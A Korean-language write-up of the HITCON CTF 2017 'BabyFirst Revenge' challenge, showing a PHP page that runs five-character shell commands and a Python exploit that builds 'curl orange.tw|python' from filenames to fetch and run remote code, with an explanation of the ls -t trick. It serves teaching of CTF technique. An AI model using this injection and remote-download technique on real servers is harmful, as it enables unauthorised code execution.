HITCON 2017[Link]
Do you remember BabyFirst from HITCON CTF 2015?
This is the harder version!
http://52.199.204.34/
95 Solved
Challenge
<?php $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']); @mkdir($sandbox); @chdir($sandbox); if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) { @exec($_GET['cmd']); } else if (isset($_GET['reset'])) { @exec('/bin/rm -rf ' . $sandbox); } highlight_file(__FILE__);
Exploit
import requests from time import sleep from urllib import quote payload = [ # generate `ls -t>g` file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generate `curl orange.tw.tw>python` '>on', '>th\\', '>py\\', '>\>\\', '>tw\\', '>e.\\', '>ng\\', '>ra\\', '>o\\', '>\ \\', '>rl\\', '>cu\\', # exec 'sh _', 'sh g', ] r = requests.get('http://52.199.204.34/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://52.199.204.34/?cmd=' + quote(i) ) print i sleep(0.2)
Explanation
5글자 밖에 cmd가 입력되지 않은 상황에서 원하는 코드를 실행 시키기 위한 처절한 몸부림이 보인다.
이 문제를 풀기위한 개념은
원하는 명령어를 한글자씩 파일로 만들고, ls -t를 통해 한 문장으로 만들어 저장하고, 그 저장한 파일을 sh 로 실행한다
라는 개념이다.
“-t” 옵션을 넣는 이유는 우리가 원하는 순서대로 파일이 정렬되어야 명령이 실행가능한데,
만약 “-t” 옵션을 넣지 않으면 파일명을 기준으로 정렬되기에 우리가 원하는 명령이 실행 되지 않는다.
Example
ls -tal 이란 명령어를 실행하려면 6글자가 되며 넘게 된다.
하지만 이를 “ls “와 “-tal”로 나눌수 있다.
bash에서 여러줄에 걸쳐서 한 명령어를 실행 하기위해선 “\” backslash를 뒤에 붙여주면된다.
이제 cmd에 다음과 같이 보내자.
cmd=>ls\ \\ (5글자가 넘어 보이지만 실제론 “ls \”로 4글자다)
cmd=>-tal
cmd=ls>_
이렇게 저장된 “_”파일을 “sh _”로 실행하면 쉘명령어가 실행되게 된다. ㄷㄷ